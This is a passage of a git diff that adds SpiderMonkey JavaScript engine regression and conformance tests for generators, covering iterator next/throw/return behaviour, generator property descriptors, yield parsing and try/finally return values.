+ } finally {
+ yield 4;
+ }
+ yield 5;
+ }
+ function Sentinel() {}
+ function Sentinel2() {}
+
+ function Test1(iter) {
+ assertIteratorNext(iter, 1);
+ assertIteratorNext(iter, 2);
+ assertIteratorNext(iter, 3);
+ assertIteratorNext(iter, 4);
+ assertIteratorNext(iter, 5);
+ assertIteratorDone(iter, undefined);
+ assertIteratorDone(iter, undefined);
+ }
+ Test1(instantiate(g));
+
+ function Test2(iter) {
+ assertThrowsInstanceOf(function() { iter.throw(new Sentinel); }, Sentinel);
+ assertIteratorDone(iter, undefined);
+ }
+ Test2(instantiate(g));
+
+ function Test3(iter) {
+ assertIteratorNext(iter, 1);
+ assertIteratorResult(iter.throw(new Sentinel), 4, false);
+ assertThrowsInstanceOf(function() { iter.next(); }, Sentinel);
+ assertIteratorDone(iter, undefined);
+ }
+ Test3(instantiate(g));
+
+ function Test4(iter) {
+ assertIteratorNext(iter, 1);
+ assertIteratorResult(iter.throw(new Sentinel), 4, false);
+ assertThrowsInstanceOf(function() { iter.throw(new Sentinel2); }, Sentinel2);
+ assertIteratorDone(iter, undefined);
+ }
+ Test4(instantiate(g));
+
+ function Test5(iter) {
+ assertIteratorNext(iter, 1);
+ assertIteratorNext(iter, 2);
+ var exn = new Sentinel;
+ assertIteratorResult(iter.throw(exn), exn, false);
+ assertIteratorNext(iter, 3);
+ assertIteratorNext(iter, 4);
+ assertIteratorNext(iter, 5);
+ assertIteratorDone(iter, undefined);
+ assertIteratorDone(iter, undefined);
+
+ }
+ Test5(instantiate(g));
+
+ function Test6(iter) {
+ assertIteratorNext(iter, 1);
+ assertIteratorNext(iter, 2);
+ var exn = new Sentinel;
+ assertIteratorResult(iter.throw(exn), exn, false);
+ assertIteratorResult(iter.throw(new Sentinel2), 4, false);
+ assertThrowsInstanceOf(function() { iter.next(); }, Sentinel2);
+ assertIteratorDone(iter, undefined);
+ }
+ Test6(instantiate(g));
+
+ function Test7(iter) {
+ assertIteratorNext(iter, 1);
+ assertIteratorNext(iter, 2);
+ var exn = new Sentinel;
+ assertIteratorResult(iter.throw(exn), exn, false);
+ assertIteratorNext(iter, 3);
+ assertIteratorResult(iter.throw(new Sentinel2), 4, false);
+ assertThrowsInstanceOf(function() { iter.next(); }, Sentinel2);
+ assertIteratorDone(iter, undefined);
+
+ }
+ Test7(instantiate(g));
+
+ // That's probably enough.
+}
+TestNestedTry(function (g) { return g(); });
+TestNestedTry(function* (g) { return yield* g(); });
+
+function TestRecursion() {
+ function TestNextRecursion() {
+ function* g() { yield iter.next(); }
+ var iter = g();
+ return iter.next();
+ }
+ function TestSendRecursion() {
+ function* g() { yield iter.next(42); }
+ var iter = g();
+ return iter.next();
+ }
+ function TestThrowRecursion() {
+ function* g() { yield iter.throw(1); }
+ var iter = g();
+ return iter.next();
+ }
+ assertThrowsInstanceOf(TestNextRecursion, TypeError);
+ assertThrowsInstanceOf(TestSendRecursion, TypeError);
+ assertThrowsInstanceOf(TestThrowRecursion, TypeError);
+}
+TestRecursion();
+
+if (typeof reportCompare == "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/generators/iterator-next-non-object.js b/js/src/tests/non262/generators/iterator-next-non-object.js
new file mode 100644
index 0000000000..453f4cd876
--- /dev/null
+++ b/js/src/tests/non262/generators/iterator-next-non-object.js
@@ -0,0 +1,64 @@
+var BUGNUMBER = 1016936;
+var summary = "IteratorNext should throw if the value returned by iterator.next() is not an object.";
+
+print(BUGNUMBER + ": " + summary);
+
+var nonobjs = [
+ null,
+ undefined,
+ 1,
+ true,
+ "a",
+ Symbol.iterator,
+];
+
+function createIterable(v) {
+ var iterable = {};
+ iterable[Symbol.iterator] = function () {
+ return {
+ next: function () {
+ return v;
+ }
+ };
+ };
+ return iterable;
+}
+
+function f() {
+}
+
+for (var nonobj of nonobjs) {
+ var iterable = createIterable(nonobj);
+
+ assertThrowsInstanceOf(() => [...iterable], TypeError);
+ assertThrowsInstanceOf(() => f(...iterable), TypeError);
+
+ assertThrowsInstanceOf(() => { for (var x of iterable) {} }, TypeError);
+
+ assertThrowsInstanceOf(() => {
+ var [a] = iterable;
+ }, TypeError);
+ assertThrowsInstanceOf(() => {
+ var [...a] = iterable;
+ }, TypeError);
+
+ assertThrowsInstanceOf(() => Array.from(iterable), TypeError);
+ assertThrowsInstanceOf(() => new Map(iterable), TypeError);
+ assertThrowsInstanceOf(() => new Set(iterable), TypeError);
+ assertThrowsInstanceOf(() => new WeakMap(iterable), TypeError);
+ assertThrowsInstanceOf(() => new WeakSet(iterable), TypeError);
+ // FIXME: bug 1232266
+ // assertThrowsInstanceOf(() => new Int8Array(iterable), TypeError);
+ assertThrowsInstanceOf(() => Int8Array.from(iterable), TypeError);
+
+ assertThrowsInstanceOf(() => {
+ var g = function*() {
+ yield* iterable;
+ };
+ var v = g();
+ v.next();
+ }, TypeError);
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/generators/iterator-toString.js b/js/src/tests/non262/generators/iterator-toString.js
new file mode 100644
index 0000000000..78e4943950
--- /dev/null
+++ b/js/src/tests/non262/generators/iterator-toString.js
@@ -0,0 +1,41 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var summary = "gen.toString() omitting 'yield' from value";
+var actual, expect;
+
+printStatus(summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+var failed = false;
+
+function* gen()
+{
+ yield 17;
+}
+
+try
+{
+ var str = gen.toString();
+ var index = str.search(/yield/);
+
+ if (index < 0)
+ throw "yield not found in str: " + str;
+}
+catch (e)
+{
+ failed = e;
+}
+
+
+
+expect = false;
+actual = failed;
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/non262/generators/nested-yield.js b/js/src/tests/non262/generators/nested-yield.js
new file mode 100644
index 0000000000..24729f5f37
--- /dev/null
+++ b/js/src/tests/non262/generators/nested-yield.js
@@ -0,0 +1,44 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var summary = "YieldExpression is and contains an AssignmentExpression";
+var actual, expect;
+
+printStatus(summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+var failed = false;
+
+function* gen()
+{
+ yield (yield (yield 7));
+}
+
+var it = gen();
+
+try
+{
+ if (it.next().value != 7)
+ throw "7 not yielded";
+ if (it.next(17).value != 17)
+ throw "passed-in 17 not yielded";
+ if (it.next(undefined).value !== undefined)
+ throw "should be able to yield undefined";
+
+ it.next();
+}
+catch (e)
+{
+ failed = e;
+}
+
+expect = false;
+actual = failed;
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/non262/generators/objects.js b/js/src/tests/non262/generators/objects.js
new file mode 100644
index 0000000000..1ffdf48fab
--- /dev/null
+++ b/js/src/tests/non262/generators/objects.js
@@ -0,0 +1,49 @@
+// This file was written by Andy Wingo <wingo@igalia.com> and originally
+// contributed to V8 as generators-objects.js, available here:
+//
+// http://code.google.com/p/v8/source/browse/branches/bleeding_edge/test/mjsunit/harmony/generators-objects.js
+
+// Test aspects of the generator runtime.
+
+// Test the properties and prototype of a generator object.
+function TestGeneratorObject() {
+ function* g() { yield 1; }
+
+ var iter = g();
+ assertEq(Object.getPrototypeOf(iter), g.prototype);
+ assertTrue(iter instanceof g);
+ assertEq(String(iter), "[object Generator]");
+ assertDeepEq(Object.getOwnPropertyNames(iter), []);
+ assertNotEq(g(), iter);
+}
+TestGeneratorObject();
+
+
+// Test the methods of generator objects.
+function TestGeneratorObjectMethods() {
+ function* g() { yield 1; }
+ var iter = g();
+
+ assertEq(iter.next.length, 1);
+ assertEq(iter.return.length, 1);
+ assertEq(iter.throw.length, 1);
+
+ function TestNonGenerator(non_generator) {
+ assertThrowsInstanceOf(function() { iter.next.call(non_generator); }, TypeError);
+ assertThrowsInstanceOf(function() { iter.next.call(non_generator, 1); }, TypeError);
+ assertThrowsInstanceOf(function() { iter.return.call(non_generator, 1); }, TypeError);
+ assertThrowsInstanceOf(function() { iter.throw.call(non_generator, 1); }, TypeError);
+ assertThrowsInstanceOf(function() { iter.close.call(non_generator); }, TypeError);
+ }
+
+ TestNonGenerator(1);
+ TestNonGenerator({});
+ TestNonGenerator(function(){});
+ TestNonGenerator(g);
+ TestNonGenerator(g.prototype);
+}
+TestGeneratorObjectMethods();
+
+
+if (typeof reportCompare == "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/generators/pi-generator.js b/js/src/tests/non262/generators/pi-generator.js
new file mode 100644
index 0000000000..b5d4bf47b8
--- /dev/null
+++ b/js/src/tests/non262/generators/pi-generator.js
@@ -0,0 +1,57 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var summary = "A (slow) generator of pi";
+var actual, expect;
+
+printStatus(summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+function* pi()
+{
+ var val = 0;
+ var curr = 1;
+ var isNeg = false;
+ while (true)
+ {
+ if (isNeg)
+ yield val -= 4/curr;
+ else
+ yield val += 4/curr;
+ curr += 2;
+ isNeg = !isNeg;
+ }
+}
+
+var failed = false;
+var it = pi();
+
+var vals =
+ [4,
+ 4 - 4/3,
+ 4 - 4/3 + 4/5,
+ 4 - 4/3 + 4/5 - 4/7];
+
+try
+{
+ for (var i = 0, sz = vals.length; i < sz; i++)
+ if (it.next().value != vals[i])
+ throw vals[i];
+}
+catch (e)
+{
+ failed = e;
+}
+
+
+
+expect = false;
+actual = failed;
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/non262/generators/properties.js b/js/src/tests/non262/generators/properties.js
new file mode 100644
index 0000000000..7782e64c06
--- /dev/null
+++ b/js/src/tests/non262/generators/properties.js
@@ -0,0 +1,111 @@
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+function assertOwnDescriptor(object, propertyKey, expected) {
+ var desc = Object.getOwnPropertyDescriptor(object, propertyKey);
+ if (desc === undefined) {
+ assertEq(expected, undefined, "Property shouldn't be present");
+ return;
+ }
+
+ assertEq(desc.enumerable, expected.enumerable, `${String(propertyKey)}.[[Enumerable]]`);
+ assertEq(desc.configurable, expected.configurable, `${String(propertyKey)}.[[Configurable]]`);
+
+ if (Object.prototype.hasOwnProperty.call(desc, "value")) {
+ assertEq(desc.value, expected.value, `${String(propertyKey)}.[[Value]]`);
+ assertEq(desc.writable, expected.writable, `${String(propertyKey)}.[[Writable]]`);
+ } else {
+ assertEq(desc.get, expected.get, `${String(propertyKey)}.[[Get]]`);
+ assertEq(desc.set, expected.set, `${String(propertyKey)}.[[Set]]`);
+ }
+}
+
+function* generator(){}
+var GeneratorFunctionPrototype = Object.getPrototypeOf(generator);
+var GeneratorFunction = GeneratorFunctionPrototype.constructor;
+var GeneratorPrototype = GeneratorFunctionPrototype.prototype;
+
+
+// ES2017, 25.2.2 Properties of the GeneratorFunction Constructor
+
+assertEqArray(Object.getOwnPropertyNames(GeneratorFunction).sort(), ["length", "name", "prototype"]);
+assertEqArray(Object.getOwnPropertySymbols(GeneratorFunction), []);
+
+assertOwnDescriptor(GeneratorFunction, "length", {
+ value: 1, writable: false, enumerable: false, configurable: true
+});
+
+assertOwnDescriptor(GeneratorFunction, "name", {
+ value: "GeneratorFunction", writable: false, enumerable: false, configurable: true
+});
+
+assertOwnDescriptor(GeneratorFunction, "prototype", {
+ value: GeneratorFunctionPrototype, writable: false, enumerable: false, configurable: false
+});
+
+
+// ES2017, 25.2.3 Properties of the GeneratorFunction Prototype Object
+
+assertEqArray(Object.getOwnPropertyNames(GeneratorFunctionPrototype).sort(), ["constructor", "prototype"]);
+assertEqArray(Object.getOwnPropertySymbols(GeneratorFunctionPrototype), [Symbol.toStringTag]);
+
+assertOwnDescriptor(GeneratorFunctionPrototype, "constructor", {
+ value: GeneratorFunction, writable: false, enumerable: false, configurable: true
+});
+
+assertOwnDescriptor(GeneratorFunctionPrototype, "prototype", {
+ value: GeneratorPrototype, writable: false, enumerable: false, configurable: true
+});
+
+assertOwnDescriptor(GeneratorFunctionPrototype, Symbol.toStringTag, {
+ value: "GeneratorFunction", writable: false, enumerable: false, configurable: true
+});
+
+
+// ES2017, 25.2.4 GeneratorFunction Instances
+
+assertEqArray(Object.getOwnPropertyNames(generator).sort(), ["length", "name", "prototype"]);
+assertEqArray(Object.getOwnPropertySymbols(generator), []);
+
+assertOwnDescriptor(generator, "length", {
+ value: 0, writable: false, enumerable: false, configurable: true
+});
+
+assertOwnDescriptor(generator, "name", {
+ value: "generator", writable: false, enumerable: false, configurable: true
+});
+
+assertOwnDescriptor(generator, "prototype", {
+ value: generator.prototype, writable: true, enumerable: false, configurable: false
+});
+
+
+// ES2017, 25.3.1 Properties of Generator Prototype
+
+assertEqArray(Object.getOwnPropertyNames(GeneratorPrototype).sort(), ["constructor", "next", "return", "throw"]);
+assertEqArray(Object.getOwnPropertySymbols(GeneratorPrototype), [Symbol.toStringTag]);
+
+assertOwnDescriptor(GeneratorPrototype, "constructor", {
+ value: GeneratorFunctionPrototype, writable: false, enumerable: false, configurable: true
+});
+
+assertOwnDescriptor(GeneratorPrototype, "next", {
+ value: GeneratorPrototype.next, writable: true, enumerable: false, configurable: true
+});
+
+assertOwnDescriptor(GeneratorPrototype, "return", {
+ value: GeneratorPrototype.return, writable: true, enumerable: false, configurable: true
+});
+
+assertOwnDescriptor(GeneratorPrototype, "throw", {
+ value: GeneratorPrototype.throw, writable: true, enumerable: false, configurable: true
+});
+
+assertOwnDescriptor(GeneratorPrototype, Symbol.toStringTag, {
+ value: "Generator", writable: false, enumerable: false, configurable: true
+});
+
+
+if (typeof reportCompare == "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/generators/regress-345855.js b/js/src/tests/non262/generators/regress-345855.js
new file mode 100644
index 0000000000..682848f6be
--- /dev/null
+++ b/js/src/tests/non262/generators/regress-345855.js
@@ -0,0 +1,90 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 345855;
+var summary = 'Blank yield expressions are not syntax errors';
+var actual = '';
+var expect = 'No Error';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ expect = "SyntaxError";
+ try
+ {
+ eval('(function*() {x = 12 + yield;})');
+ actual = 'No Error';
+ }
+ catch(ex)
+ {
+ actual = ex.name;
+ }
+ reportCompare(expect, actual, summary + ': function*() {x = 12 + yield;}');
+
+ expect = "SyntaxError";
+ try
+ {
+ eval('(function*() {x = 12 + yield 42})');
+ actual = 'No Error';
+ }
+ catch(ex)
+ {
+ actual = ex.name;
+ }
+ reportCompare(expect, actual, summary + ': function*() {x = 12 + yield 42}');
+
+ expect = 'No Error';
+ try
+ {
+ eval('(function*() {x = 12 + (yield);})');
+ actual = 'No Error';
+ }
+ catch(ex)
+ {
+ actual = ex + '';
+ }
+ reportCompare(expect, actual, summary + ': function*() {x = 12 + (yield);}');
+
+ try
+ {
+ eval('(function* () {foo((yield))})');
+ actual = 'No Error';
+ }
+ catch(ex)
+ {
+ actual = ex + '';
+ }
+ reportCompare(expect, actual, summary + ': function* () {foo((yield))}');
+
+ try
+ {
+ eval('(function*() {x = 12 + (yield 42)})');
+ actual = 'No Error';
+ }
+ catch(ex)
+ {
+ actual = ex + '';
+ }
+ reportCompare(expect, actual, summary + ': function*() {x = 12 + (yield 42)}');
+
+ try
+ {
+ eval('(function* (){foo((yield 42))})');
+ actual = 'No Error';
+ }
+ catch(ex)
+ {
+ actual = ex + '';
+ }
+ reportCompare(expect, actual, summary + ': function* (){foo((yield 42))}');
+}
diff --git a/js/src/tests/non262/generators/regress-345879-01.js b/js/src/tests/non262/generators/regress-345879-01.js
new file mode 100644
index 0000000000..993244f803
--- /dev/null
+++ b/js/src/tests/non262/generators/regress-345879-01.js
@@ -0,0 +1,30 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 345879;
+var summary = 'Crash when calling a function from a generator with less arguments than its arity ';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ function* gen() {
+ yield isNaN();
+ }
+
+ f = gen();
+ f.next();
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/generators/regress-349362.js b/js/src/tests/non262/generators/regress-349362.js
new file mode 100644
index 0000000000..af22f0c69a
--- /dev/null
+++ b/js/src/tests/non262/generators/regress-349362.js
@@ -0,0 +1,26 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 349362;
+var summary = 'generator toString should be [object Generator]';
+var actual = '';
+var expect = '[object Generator]';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ var y = function*(){ yield 3};
+ actual = y().toString();
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/generators/regress-349851.js b/js/src/tests/non262/generators/regress-349851.js
new file mode 100644
index 0000000000..86b35cb24a
--- /dev/null
+++ b/js/src/tests/non262/generators/regress-349851.js
@@ -0,0 +1,33 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 349851;
+var summary = 'decompilation of yield \\n, 3';
+var actual = '';
+var expect = 'SyntaxError';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ // note the newline after yield is required for this test
+ try
+ {
+ var f = eval('function(){ yield \n,3 }');
+ }
+ catch(ex)
+ {
+ actual = ex.name;
+ }
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/generators/regress-350809.js b/js/src/tests/non262/generators/regress-350809.js
new file mode 100644
index 0000000000..f34546740d
--- /dev/null
+++ b/js/src/tests/non262/generators/regress-350809.js
@@ -0,0 +1,33 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 350809;
+var summary = 'Do not assertion: if yield in xml filtering predicate';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ try
+ {
+ eval('(function(){ <x/>.(yield 4) })().next();');
+ }
+ catch(ex)
+ {
+ actual = expect =
+ 'InternalError: yield not yet supported from filtering predicate';
+ }
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/generators/regress-351120.js b/js/src/tests/non262/generators/regress-351120.js
new file mode 100644
index 0000000000..9d9ba0e411
--- /dev/null
+++ b/js/src/tests/non262/generators/regress-351120.js
@@ -0,0 +1,33 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 351120;
+var summary = 'Incorrect error messages with yield expressions';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ expect = /TypeError:.*(is not a function|Cannot find function).*/;
+ actual = '';
+ try
+ {
+ (function*() { yield [].z({}); })().next();
+ }
+ catch(ex)
+ {
+ actual = ex + '';
+ }
+ reportMatch(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/generators/regress-359062.js b/js/src/tests/non262/generators/regress-359062.js
new file mode 100644
index 0000000000..656b34124e
--- /dev/null
+++ b/js/src/tests/non262/generators/regress-359062.js
@@ -0,0 +1,38 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 359062;
+var summary = 'Access generator local variables from nested functions';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ expect = "Generator string";
+
+ var scope = "Global";
+
+ function* gen() {
+ var scope = "Generator";
+ function inner() {
+ actual = scope + " " + typeof scope;
+ }
+ inner();
+ yield;
+ }
+
+ gen().next();
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/generators/regress-366941.js b/js/src/tests/non262/generators/regress-366941.js
new file mode 100644
index 0000000000..6997aae044
--- /dev/null
+++ b/js/src/tests/non262/generators/regress-366941.js
@@ -0,0 +1,80 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ * Contributor: Robert Sayre
+ */
+
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 366941;
+var summary = 'Destructuring enumerations, iterations';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ var list1 = [[1,2],[3,4],[5,6]];
+ var list2 = [[1,2,3],[4,5,6],[7,8,9]];
+
+ expect = '1,2;3,4;5,6;';
+ actual = '';
+
+ for (var [foo, bar] of list1) {
+ actual += foo + "," + bar + ";";
+ }
+
+ reportCompare(expect, actual, summary + ': 1');
+
+ expect = '1,2,3;4,5,6;7,8,9;';
+ actual = '';
+ for (var [foo, bar, baz] of list2) {
+ actual += foo + "," + bar + "," + baz + ";";
+ }
+
+ reportCompare(expect, actual, summary + ': 2');
+
+ function* gen(list) {
+ for (var test of list) {
+ yield test;
+ }
+ }
+
+ var iter1 = gen(list1);
+
+ expect = '1,2;3,4;5,6;';
+ actual = '';
+
+ for (var [foo, bar] of iter1) {
+ actual += foo + "," + bar + ";";
+ }
+
+ reportCompare(expect, actual, summary + ': 3');
+
+ // Before JS1.7's destructuring for…in was fixed to match JS1.8's,
+ // the expected result was a SyntaxError about the for…in loop's lhs.
+ var iter2 = gen(list2);
+ expect = '1,2,3;4,5,6;7,8,9;';
+ actual = '';
+
+ try
+ {
+ eval('for (var [foo, bar, baz] of iter2) {' +
+ 'actual += foo + "," + bar + "," + baz + ";";' +
+ '}');
+ }
+ catch(ex)
+ {
+ actual = ex + '';
+ }
+
+ reportCompare(expect, actual, summary + ': 4');
+}
diff --git a/js/src/tests/non262/generators/regress-384991.js b/js/src/tests/non262/generators/regress-384991.js
new file mode 100644
index 0000000000..25439d907c
--- /dev/null
+++ b/js/src/tests/non262/generators/regress-384991.js
@@ -0,0 +1,56 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 384991;
+var summary = ' w(yield) should not cause "yield expression must be parenthesized" syntax error';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ expect = 'No Error';
+
+ try
+ {
+ actual = 'No Error';
+ (function*() { w((yield)); });
+ }
+ catch(ex)
+ {
+ actual = ex + '';
+ }
+ reportCompare(expect, actual, summary + ': 1');
+
+ try
+ {
+ actual = 'No Error';
+ (function*() { w(1 ? yield : 0); });
+ }
+ catch(ex)
+ {
+ actual = ex + '';
+ }
+ reportCompare(expect, actual, summary + ': 2');
+
+ try
+ {
+ actual = 'No Error';
+ (function* () { f(x = yield); const x = undefined; });
+ }
+ catch(ex)
+ {
+ actual = ex + '';
+ }
+ reportCompare(expect, actual, summary + ': 3');
+}
diff --git a/js/src/tests/non262/generators/regress-466206.js b/js/src/tests/non262/generators/regress-466206.js
new file mode 100644
index 0000000000..76c297038b
--- /dev/null
+++ b/js/src/tests/non262/generators/regress-466206.js
@@ -0,0 +1,35 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 466206;
+var summary = 'Do not crash due to unrooted function variables';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ var f;
+
+ function* g() {
+ var x = {};
+ f = function () { x.y; };
+ if (0) yield;
+ }
+
+ try { g().next(); } catch (e) {}
+ gc();
+ f();
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/generators/return-finally.js b/js/src/tests/non262/generators/return-finally.js
new file mode 100644
index 0000000000..9e4c6c8f3b
--- /dev/null
+++ b/js/src/tests/non262/generators/return-finally.js
@@ -0,0 +1,309 @@
+var BUGNUMBER = 1202134;
+var summary = "Return value should not be overwritten by finally block with normal execution.";
+
+print(BUGNUMBER + ": " + summary);
+
+// ==== single ====
+
+var f, g, v;
+f = function*() {
+ // F.[[type]] is normal
+ // B.[[type]] is return
+ try {
+ return 42;
+ } finally {
+ }
+};
+g = f();
+v = g.next();
+assertEq(v.value, 42);
+assertEq(v.done, true);
+
+f = function*() {
+ // F.[[type]] is return
+ try {
+ return 42;
+ } finally {
+ return 43;
+ }
+};
+g = f();
+v = g.next();
+assertEq(v.value, 43);
+assertEq(v.done, true);
+
+f = function*() {
+ // F.[[type]] is throw
+ try {
+ return 42;
+ } finally {
+ throw 43;
+ }
+};
+var caught = false;
+g = f();
+try {
+ v = g.next();
+} catch (e) {
+ assertEq(e, 43);
+ caught = true;
+}
+assertEq(caught, true);
+
+f = function*() {
+ // F.[[type]] is break
+ do try {
+ return 42;
+ } finally {
+ break;
+ } while (false);
+ return 43;
+};
+g = f();
+v = g.next();
+assertEq(v.value, 43);
+assertEq(v.done, true);
+
+f = function*() {
+ // F.[[type]] is break
+ L: try {
+ return 42;
+ } finally {
+ break L;
+ }
+ return 43;
+};
+g = f();
+v = g.next();
+assertEq(v.value, 43);
+assertEq(v.done, true);
+
+f = function*() {
+ // F.[[type]] is continue
+ do try {
+ return 42;
+ } finally {
+ continue;
+ } while (false);
+ return 43;
+};
+g = f();
+v = g.next();
+assertEq(v.value, 43);
+assertEq(v.done, true);
+
+// ==== nested ====
+
+f = function*() {
+ // F.[[type]] is normal
+ // B.[[type]] is return
+ try {
+ return 42;
+ } finally {
+ // F.[[type]] is break
+ do try {
+ return 43;
+ } finally {
+ break;
+ } while (0);
+ }
+};
+g = f();
+v = g.next();
+assertEq(v.value, 42);
+assertEq(v.done, true);
+
+f = function*() {
+ // F.[[type]] is normal
+ // B.[[type]] is return
+ try {
+ return 42;
+ } finally {
+ // F.[[type]] is break
+ L: try {
+ return 43;
+ } finally {
+ break L;
+ }
+ }
+}
+g = f();
+v = g.next();
+assertEq(v.value, 42);
+assertEq(v.done, true);
+
+f = function*() {
+ // F.[[type]] is normal
+ // B.[[type]] is return
+ try {
+ return 42;
+ } finally {
+ // F.[[type]] is continue
+ do try {
+ return 43;
+ } finally {
+ continue;
+ } while (0);
+ }
+};
+g = f();
+v = g.next();
+assertEq(v.value, 42);
+assertEq(v.done, true);
+
+f = function*() {
+ // F.[[type]] is normal
